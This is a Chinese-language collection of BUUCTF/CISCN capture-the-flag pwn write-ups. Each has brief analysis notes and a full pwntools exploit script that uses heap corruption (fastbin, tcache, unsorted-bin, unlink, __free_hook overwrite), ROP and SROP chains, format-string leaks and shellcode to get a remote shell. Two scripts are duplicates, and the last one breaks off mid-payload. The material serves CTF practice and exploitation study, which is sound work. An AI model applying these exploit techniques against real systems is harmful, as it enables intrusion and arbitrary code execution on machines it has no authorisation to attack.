# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_n_3")
sh = 0
lib = 0
def addStr(idx,size,content):
	sh.recvuntil("CNote > ")
	sh.sendline("1")
	sh.recvuntil("Index > ")
	sh.sendline(str(idx))
	sh.recvuntil("Type > ")
	sh.sendline("2")
	sh.recvuntil("Length > ")
	sh.sendline(str(size))
	if content != "":
		sh.recvuntil("Value > ")
		sh.send(content)
def addInt(idx,num):
        sh.recvuntil("CNote > ")
        sh.sendline("1")
        sh.recvuntil("Index > ")
        sh.sendline(str(idx))
        sh.recvuntil("Type > ")
        sh.sendline("1")
	sh.recvuntil("Value > ")
	sh.sendline(str(num))
def show(idx):
	sh.recvuntil("CNote > ")
	sh.sendline("3")
	sh.recvuntil("Index > ")
	sh.sendline(str(idx))
def free(idx):
	sh.recvuntil("CNote > ")
	sh.sendline("2")
	sh.recvuntil("Index > ")
	sh.sendline(str(idx))
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_n_3")
		main_arena_offset = 0xf7763780 - 0xf75b1000
		lib = ELF("/lib/i386-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x86_libc.so.6")
		main_arena_offset = 0x1B0780
	#leak libc
	addStr(0,0x80,"a"*0x7E + "\n")
	addInt(1,0xdeadbeef)
	free(0)
	addStr(2,0,"")
	show(2)
	sh.recvuntil("Note(Type=String, Value=")
	main_arena = u32(sh.recv(4)) - 176
	libc = main_arena - main_arena_offset
	system = libc + lib.symbols['system']
	binsh = libc + lib.search("/bin/sh\x00").next()
	one_gadget = libc + 0x3a80c

	#getShell
        addStr(3,0x48,"a"*0x3E + "\n")
	addInt(4,0xdeadbeef)
	free(4)
	payload = "sh\x00\x00" + p32(system) + p32(0xdeadbeef) + '\n'
	addStr(5,0x14,payload)	
	free(4)
	log.success("main_arena: " + hex(main_arena))
        log.success("binsh: " + hex(binsh))
        log.success("system: " + hex(system))
        log.success("libc: " + hex(libc))	
	#gdb.attach(sh)
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20139,0)

0x22 ciscn_s_8

导入ida后，发现是一个异或算法，然后strcpy处存在栈溢出，但是会对输入的文本进行异或0x66的处理，我们可以预先先对payload异或0x66，然后在程序对它再次异或时就会复原回有攻击性的payload

另外这道题，我为了图方便，且程序是静态编译，ROPgadget往往是可以生成ROPchain的，可以考虑将add rax,1换成add rax,3，缩短ROPchain，达成攻击。注意不换成add rax,3会出现ROPchain被截断的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_s_8")
sh = 0
lib = 0
def encrypt(data):
	crypto = ''
	for i in data:
		crypto += chr(ord(i) ^ 0x66)
	return crypto
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_s_8")
	else:
		sh = remote(ip,port)
	from struct import pack

	# Padding goes here
	p = ''
	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e0) # @ .data
	p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
	p += '/bin//sh'
	p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
	p += pack('<Q', 0x00000000006ba0e0) # @ .data
	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
	p += pack('<Q', 0x0000000000474bf8) # add rax, 2 ; ret
	p += pack('<Q', 0x00000000004751a5) # syscall ; ret
	offset = 10 * 8
	payload = offset * "a"
	payload += p
	sh.send(encrypt(payload))
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20159,0)

0x23 ciscn_s_3

gadget处可以赋值rax为15，恰好为SYS_SigReturnFrame

那么思路如下:

1、先leak stack地址，然后顺带的传入/bin/sh\x00字符串，通过leak stack来定位binsh的位置，再跳回SYS_read处

2、赋值rax为15，跳到syscall上，成功popal sigframe，此时sigframe的数据由我们输入的数据控制，凑成可以拿shell的形式，即可拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_s_6")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_s_6")
	else:
		sh = remote(ip,port)

	syscall_ret = 0x400517
	mov_rax_ret = 0x4004DA
	write_ret = 0x400503
	read_write_ret = 0x4004F1
	offset = 16
	payload  = "//bin/sh\x00"
	payload  = payload.ljust(offset,"a")
	payload += p64(write_ret) + p64(read_write_ret)
	sh.send(payload)
	sleep(0.2)
	stack_addr = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
	binsh = stack_addr - 0x118
	sigframe = SigreturnFrame()
	sigframe.rax = constants.SYS_execve
	sigframe.rdi = binsh
	sigframe.rsp = stack_addr
	sigframe.rip = syscall_ret
	sigframe.rsi = 0
	sigframe.rdx = 0
	payload = offset * "a" + p64(mov_rax_ret) + p64(syscall_ret) + str(sigframe)
	sh.send(payload)
	log.success("stack_addr: " + hex(stack_addr))
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20154,0)

0x24 ciscn_2019_nw_6

程序没有任何保护，考虑shellcode

利用栈内两个栈空间的指针来改写ret地址，然后顺便最后写入shellcode到bss，然后ret跳过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("ciscn_2019_nw_6")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_nw_6")

	else:
		sh = remote(ip,port)
	#0804A160
	#leak ebp
	sh.recv()
	payload = "%12$p"
	sh.sendline(payload)
	sh.recvuntil("0x")
	ebp = int(sh.recv(8),16)
	ret_addr = ebp + 0xc - 6*0x4

	payload = "%." + str(ret_addr % 0x10000) + "d%23$hn"
	sh.sendline(payload)
	sleep(0.2)
	payload = "%." + str(0xA170) + "d%59$hn"
	payload = payload.ljust(4*4,"\x00")
	payload += asm(shellcraft.i386.sh())
	sh.sendline(payload)
	sleep(0.2)
	sh.sendline("hello")
	log.success("ebp: " + hex(ebp))
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20151,0)

0x25 judgement_mna_2016

导入IDA发现存在典型的格式化溢出漏洞，且栈内分布指向flag的指针，可以通过$xx%s来读取文本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("judgement_mna_2016")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./judgement_mna_2016")

	else:
		sh = remote(ip,port)
	payload = "%28$s"
	sh.recv()
	sh.sendline(payload)
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20077,0)

0x26 ciscn_nw_4

1、经过ida分析存在double free，且show没有check，所以可以leak heap_base和libc

2、通过fastbin attack修改unsorted bin’s bk，在__free_hook处伪造fake_chunk，然后再用double free fastbin attack修改__free_hook的值为system，然后释放content为/bin/sh\x00的chunk即可

最终因为ubuntu16.04的环境问题拿不到flag，经过分析发现，是因为system函数里存在sub rsp,0xNNN，其中NNN很大，导致后面有一个cmp指令读取到了不可读区段导致程序崩溃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_nw_4")
sh = 0
lib = 0
def inputName(name):
	sh.recvuntil("what is your name?")
	sh.send(name)
def add(size,content):
	sh.recvuntil(">> ")
	sh.sendline("1")
	sh.recvuntil("size?")
	sh.sendline(str(size))
	sh.recvuntil("content?")
	sh.send(content)
def show(idx):
	sh.recvuntil(">> ")
	sh.sendline("3")
	sh.recvuntil("index ?")
	sh.sendline(str(idx))
def free(idx):
	sh.recvuntil(">> ")
	sh.sendline("2")
	sh.recvuntil("index ?\n")
	sh.sendline(str(idx))
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_nw_4")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
		main_arena_offset = 0x3C4B20
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x64_libc.so.6")
		main_arena_offset = 0x3C4B20
	inputName("fuck")
	#leak libc
	add(0x80,"\x11"*0x80) #idx 0
	add(0x18,"\x12"*0x18) #idx 1
	free(0)
	show(0)
	main_arena = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 88
	libc = main_arena - main_arena_offset
	system = libc + lib.symbols['system']
	execl = libc + lib.symbols['execl']
	execve = libc + lib.symbols['execve']
	add(0x80,"\x13"*0x80) #idx 2 junk chunk
	
	#leak heap base
	payload = p64(0)*11 + p64(0x71)
	add(0x60,"\x14"*0x60) #idx 3
	add(0x60,payload) #idx 4

	free(3)
	free(4)
	show(4)
	heap_base = (u64(sh.recvuntil("\x0a\x2d\x2d",True).ljust(8,"\x00")) >> 16) << 8

	#modify unsorted bin's bk
	unsorted_bin_attack_addr = main_arena - (0x7f7506f49b20 - 0x7f7506f4b768) - 0x8
	

	add(0x80,"\x16"*0x80) #idx 5
	add(0x18,"$0\x00") #idx 6

	free(5)
	free(3)

	add(0x60,p64(heap_base + 0x180)) #idx 7
	add(0x60,p64(heap_base + 0x180)) #idx 8	
	add(0x60,p64(heap_base + 0x180)) #idx 9

		#fastbin attack
	payload = p64(0) + p64(0x91) + p64(main_arena + 88) + p64(unsorted_bin_attack_addr)
	add(0x60,payload)#idx 10

	add(0x80,p64(0xdeadbeef))#idx 11
	
	free(7)
	free(8)
	free(9)

	#fastbin attack modify __free_hook
	add(0x60,p64(unsorted_bin_attack_addr + 0x10 - 0x3)) #idx 12
	add(0x60,p64(unsorted_bin_attack_addr + 0x10 - 0x3)) #idx 13	
	add(0x60,p64(unsorted_bin_attack_addr + 0x10 - 0x3)) #idx 14

	payload  = "\x00"*3 + p64(0) * 5 + p64(execve)
	add(0x60,payload)
	#input()
	free(6)
	log.success("heap_base: " + hex(heap_base))
	log.success("libc: " + hex(libc))
	log.success("main_arena: " + hex(main_arena))
	log.success("system: " + hex(system))
	log.success("unsorted_bin_attack_addr: " + hex(unsorted_bin_attack_addr))
	log.success("execl: " + hex(execl))
	#x/50gx (long long)(&main_arena) - 0x1b
	#x/50gx (long long)(&__free_hook) - 0x50
	#execl  execlexecle
	#x/50gx *0x6020C0
	#gdb.attach(sh)
	sh.interactive()
if __name__ == "__main__":
	#buuoj.cn 20149
	pwn("buuoj.cn",20149,1)

0x27 checker_seccon_2016

首先这题开启了canary，且代码无法leak canary，导致无法溢出

考虑开启了canary，且存在无限输入，但是输入中遇到\x00会截断，所以考虑使用smash来leak任意地址数据

由于遇到\x00截断或遇到换行截断并替换为\x00，我们可以考虑先输入\xc0\x10\x60\x11\x11\x11，然后再输入\xc0\x10\x60\x11\x11，直到\xc0\x10\x60

如何找到argv[0]，只需调试器附加运行的程序，然后找到./文件名的字符串即可，比如我这里是./checker_seccon_2016，然后将flag的地址覆盖进去即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
#context.log_level = "debug"
context.arch = "amd64"
elf = ELF("checker_seccon_2016")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./checker_seccon_2016")
	else:
		sh = remote(ip,port)
	sh.recvuntil("Hello! What is your name?\nNAME : ")
	sh.sendline("fuckyou")
	sh.recvuntil("Do you know flag?\n>> ")
	payload  = "\xaa" * 376
	payload += "\xc0\x10\x60"
	sh.sendline(payload+"\x11\x11\x11")
	sh.recvuntil("Do you know flag?\n>> ")
	sh.sendline(payload+"\x11\x11")
	sh.recvuntil("Do you know flag?\n>> ")
	sh.sendline(payload+"\x11")
	sh.recvuntil("Do you know flag?\n>> ")
	sh.sendline(payload)
	sh.recvuntil("Do you know flag?\n>> ")
	sh.sendline("yes")
	sh.recvuntil("\nOh, Really??\nPlease tell me the flag!\nFLAG : ")
	sh.sendline("fuckyou")
	sh.interactive()
if __name__ == "__main__":
	pwn("buuoj.cn",20066,0)

0x28 ciscn_2019_ne_5

典型的ROP题，ret2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("ciscn_2019_ne_5")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_ne_5")
	else:
		sh = remote(ip,port)
	sh.recv()
	sh.sendline('administrator')
	sh.recvuntil('0.Exit\n:')
	offset = 76
	binsh = 0x080482E6 + 0x4
	sh.sendline("1")
	payload = offset * 'a' + p32(elf.plt['system']) + p32(0xdeadbeef) + p32(binsh)
	sh.recvuntil('Please input new log info:')
	sh.sendline(payload)
	sh.recvuntil("0.Exit\n:")
	sh.sendline("4")
	sh.interactive()
if __name__ == "__main__":
	pwn("f.buuoj.cn",20171,0)

0x29 ciscn_2019_es_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context.log_level = "debug"
sh = 0
elf = ELF("ciscn_s_4")
lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x86_libc.so.6")
#nc 172.29.9.107 9999 

def pwn(ip,port,debug):
	if(debug == 1):
		sh = process("./ciscn_s_4")
	else:
		sh = remote(ip,port)
	pop3_ret = 0x08048699
	pop2_ret = 0x0804869a
	offset = 44
	main_addr = 0x080485FF
	payload = (offset-12) * 'a' + p32(0x0804A01C) + "2"*4 + "3"*4+ p32(main_addr)
	sh.send(payload)
	sh.recvuntil("Hello, ")
	sh.send(payload)
	sh.recvuntil("Hello, ")
	payload = (offset-0x10) * "b"+"5"*4 +p32(0x0804A01C)+"7"*4+"8"*4 +p32(0x0804861D)
	sh.send(payload)
	sh.recvuntil(payload)
	sh.send(payload)
	sh.recvuntil(payload)
	sh.recv(33-4-4)
	libc = u32(sh.recv(4)) - lib.symbols["__libc_start_main"]
	log.success("libc :" + hex(libc))
	system = 0x08048559
	binsh = libc + next(lib.search("/bin/sh"))
	log.success("binsh :"+hex(binsh))
	log.success("system :"+hex(libc + lib.symbols['system']))
	#input()
	payload = (offset)*"a" + p32(0x08048450)
	sh.send(payload)
	payload = (offset-12) * 'a' + p32(binsh) + "2"*4 + "3"*4+ p32(main_addr)
	sh.send(payload)
	sh.recvuntil("Hello, ")
	sh.send(payload)
	sh.recvuntil("Hello, ")
	payload = (offset-0x10) * "b"+"5"*4 +p32(binsh)+"7"*4+"8"*4 +p32(system)
	sh.send(payload)
	#sh.recvuntil("Hello, ")
	sh.interactive()
if __name__ == "__main__":
	pwn("f.buuoj.cn",20174,0)

0x30 ciscn_2019_final_3

这题总体不难，由于tcache attack的利用很方便，所以这题只要leak libc就可以轻而易举拿到shell

简单的思路：先合并堆块，合并后的堆块大于tcache的范围，然后free掉即可出现libc，接下来就是堆块重叠malloc一个堆块到libc空间，通过gift得到libc地址，接着tcache attack修改__free_hook拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_final_3")
sh = 0
lib = 0
def add(idx,size,content):
    sh.recvuntil("choice > ")
    sh.sendline("1")
    sh.recvuntil("input the index")
    sh.sendline(str(idx))
    sh.recvuntil("input the size")
    sh.sendline(str(size))
    sh.recvuntil("now you can write something")
    sh.send(content)
    sh.recvuntil("gift :0x")
    return int(sh.recvuntil("\n",True),16)
def free(idx):
    sh.recvuntil("choice > ")
    sh.sendline("2")
    sh.recvuntil("input the index")
    sh.sendline(str(idx))
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./ciscn_final_3")
        lib = ELF('libc.so.6')
    else:
        sh = remote(ip,port)
        lib = ELF('libc.so.6')
    addr1 = add(0,0x78,"\x11" * 0x78)
    heap_base = addr1 - 0x11E70
    addr2 = add(1,0x0,'')
    add(2,0x78,'\x33' * 0x78)
    add(3,0x78,'\x44' * 0x78)
    add(4,0x78,'\x55' * 0x78)
    add(5,0x78,'\x66' * 0x78)
    add(6,0x78,'\x77' * 0x78)
    add(7,0x78,'\x88' * 0x78)
    add(8,0x78,'/bin/sh\x00')
    add(9,0x78,'\xaa' * 0x78)
    add(10,0x78,'\xaa' * 0x78)
    add(11,0x78,'\xbb' * 0x78)
    free(11)
    free(11)
    add(12,0x78,p64(addr1 - 0x10))
    add(13,0x78,p64(addr1 - 0x10))
    add(14,0x78,p64(0) + p64(0x4A1))
    free(0)
    free(1)
    add(15,0x78,'\xaa' * 0x78)
    add(16,0,'')
    main_arena = add(17,0,'')
    libc = main_arena - 0x3EBCA0
    __free_hook = libc + lib.symbols['__free_hook']
    system = libc + lib.symbols['system']
    add(18,0x28,p64(0xdeadbeef))
    free(18)
    free(18)
    add(19,0x28,p64(__free_hook))
    add(20,0x28,p64(__free_hook))
    add(21,0x28,p64(system))
    free(8)
    log.success('addr1 = ' + hex(addr1))
    log.success('addr2 = ' + hex(addr2))
    log.success("heap_base: " + hex(heap_base))
    log.success("libc: " + hex(libc))
    log.success("main_arena: " + hex(main_arena))
    log.success('system: ' + hex(system))
    log.success('__free_hook: ' + hex(__free_hook))
    sh.interactive()
if __name__ == "__main__":
	pwn("f.buuoj.cn",20232,0)

0x31 ciscn_2019_en_3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_en_3")
sh = 0
lib = 0
def free(idx):
	sh.recvuntil("Input your choice:")
	sh.sendline("4")
	sh.recvuntil("Please input the index:")
	sh.sendline(str(idx))
def add(size,content):
	sh.recvuntil("Input your choice:")
	sh.sendline("1")
	sh.recvuntil("Please input the size of story:")
	sh.sendline(str(size))
	sh.recvuntil("please inpute the story:")
	sh.send(content)
def inputName(name):
	sh.recvuntil("What's your name?")
	sh.send(name)
def inputID(idx):
	sh.recvuntil("ID")
        sh.sendline(idx)
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_en_3")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x64_libc.so.6")
	inputName("%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p\x00\x00")
	sh.recvuntil("(nil)(nil)")
	sh.recv(2)
	libc = int(sh.recvuntil("0x",True),16) - 0x78439
	sh.recv(68)
	base = int(sh.recv(12),16) - 0xA00
	chunk_list = base + 0x202060
	sh.recv(2)
	canary = int(sh.recv(16),16)
	sh.recv(2)
	ebp = int(sh.recvuntil("Please",True),16)
	system = libc + lib.symbols['system']
	binsh = libc + lib.search("/bin/sh\x00").next()
	fastbin_attack_addr1 = ebp - 0x58
	fastbin_attack_addr2 = ebp - 0x30
	pop_rdi_ret = 0x0000000000000f83 + base
	inputID(p64(0x61))
	add(0x50,"\x11")
	add(0x50,"\x11")
	free(0)
	free(1)
	free(0)
	add(0x50,p64(fastbin_attack_addr1))
	add(0x50,p64(fastbin_attack_addr1))
	add(0x50,p64(fastbin_attack_addr1))
	add(0x50,p64(0)*4 + p64(0x51))
	add(0x40,"\x11")
	add(0x40,"\x11")
	free(6)
	free(7)
	free(6)
	add(0x40,p64(fastbin_attack_addr2))
	add(0x40,p64(fastbin_attack_addr2))
	add(0x40,p64(fastbin_attack_addr2))
	#input()
	add(0x40,p64(0) + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(binsh) + p64(system))
	#x/50gx (long long)(&main_arena) - 0x30
	sh.recvuntil("Input your choice:")
	sh.sendline("6")
	log.success("libc: " + hex(libc))
	log.success("base: " + hex(base))
	log.success("chunk_list: " + hex(chunk_list))
	log.success("ebp: " + hex(ebp))
	log.success("canary: " + hex(canary))
	log.success("system: " + hex(system))
	log.success("binsh: " + hex(binsh))
	log.success("fastbin_attack_addr1: " + hex(fastbin_attack_addr1))
	log.success("fastbin_attack_addr2: " + hex(fastbin_attack_addr2))
	#gdb.attach(sh)
	sh.interactive()
if __name__ == "__main__":
	pwn("f.buuoj.cn",20124,0)

0x32 ciscn_2019_c_5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_c_5")
sh = 0
lib = 0
def free(idx):
	sh.recvuntil("Input your choice:")
	sh.sendline("4")
	sh.recvuntil("Please input the index:")
	sh.sendline(str(idx))
def add(size,content):
	sh.recvuntil("Input your choice:")
	sh.sendline("1")
	sh.recvuntil("Please input the size of story:")
	sh.sendline(str(size))
	sh.recvuntil("please inpute the story:")
	sh.send(content)
def inputName(name):
	sh.recvuntil("What's your name?")
	sh.send(name)
def inputID(idx):
	sh.recvuntil("ID")
        sh.sendline(idx)
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_c_5")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x64_libc.so.6")
	inputName("%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p\x00\x00")
	sh.recvuntil("(nil)(nil)")
	sh.recv(2)
	libc = int(sh.recvuntil("0x",True),16) - 0x78439
	sh.recv(68)
	base = int(sh.recv(12),16) - 0xA00
	chunk_list = base + 0x202060
	sh.recv(2)
	canary = int(sh.recv(16),16)
	sh.recv(2)
	ebp = int(sh.recvuntil("Please",True),16)
	system = libc + lib.symbols['system']
	binsh = libc + lib.search("/bin/sh\x00").next()
	fastbin_attack_addr1 = ebp - 0x58
	fastbin_attack_addr2 = ebp - 0x30
	pop_rdi_ret = 0x0000000000000f83 + base
	inputID(p64(0x61))
	add(0x50,"\x11")
	add(0x50,"\x11")
	free(0)
	free(1)
	free(0)
	add(0x50,p64(fastbin_attack_addr1))
	add(0x50,p64(fastbin_attack_addr1))
	add(0x50,p64(fastbin_attack_addr1))
	add(0x50,p64(0)*4 + p64(0x51))
	add(0x40,"\x11")
	add(0x40,"\x11")
	free(6)
	free(7)
	free(6)
	add(0x40,p64(fastbin_attack_addr2))
	add(0x40,p64(fastbin_attack_addr2))
	add(0x40,p64(fastbin_attack_addr2))
	#input()
	add(0x40,p64(0) + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(binsh) + p64(system))
	#x/50gx (long long)(&main_arena) - 0x30
	sh.recvuntil("Input your choice:")
	sh.sendline("6")
	log.success("libc: " + hex(libc))
	log.success("base: " + hex(base))
	log.success("chunk_list: " + hex(chunk_list))
	log.success("ebp: " + hex(ebp))
	log.success("canary: " + hex(canary))
	log.success("system: " + hex(system))
	log.success("binsh: " + hex(binsh))
	log.success("fastbin_attack_addr1: " + hex(fastbin_attack_addr1))
	log.success("fastbin_attack_addr2: " + hex(fastbin_attack_addr2))
	#gdb.attach(sh)
	sh.interactive()
if __name__ == "__main__":
	pwn("f.buuoj.cn",20118,0)

0x33 ciscn_2019_es_4

可以考虑用unlink来获得对chunk_list控制

将unlink攻击的堆块放到第32个位置，使得edit时可以改变key1和key2的值，进行解锁功能。

如果完成以上两行的攻击后，接下来只需要got leak，然后libc leak，然后写__free_hook为system即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_es_4")
sh = 0
lib = 0
def add(idx,size,content):
	sh.recvuntil("4.show")
	sh.sendline("1")
	sh.recvuntil("index:")
	sh.sendline(str(idx))
	sh.recvuntil("size:")
	sh.sendline(str(size))
	sh.recvuntil("gift: ")
	data = int(sh.recvuntil("\n",True),16)
	sh.recvuntil("content:")
	sh.send(content)
	return data
def edit(idx,content):
	sh.recvuntil("4.show")
	sh.sendline("3")
	sh.recvuntil("index:")
	sh.sendline(str(idx))
	sh.recvuntil("content:")
	sh.send(content)
def free(idx):
	sh.recvuntil("4.show")
	sh.sendline("2")
	sh.recvuntil("index:")
	sh.sendline(str(idx))

	return True
def show(idx):
	sh.recvuntil("4.show")
	sh.sendline("4")
	sh.recvuntil("index:")
	sh.sendline(str(idx))
	return True
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_es_4")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF('/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x64_libc.so.6')
	heap_list = 0x6020E0
	key1 = 0x6022BC
	key2 = 0x6022B8
	add(0,0xF8,"\x11" * 0xF8)
	add(1,0xF8,"\x22" * 0xF8)
	add(2,0xF8,'\x33' * 0xF8)
	add(3,0xF8,'/bin/sh\x00')
	add(32,0xF8,'\x55' * 0xF8)
	add(5,0xF8,'\x66' * 0xF8)
	add(6,0xF8,'\x77' * 0xF8)
	payload  = ''
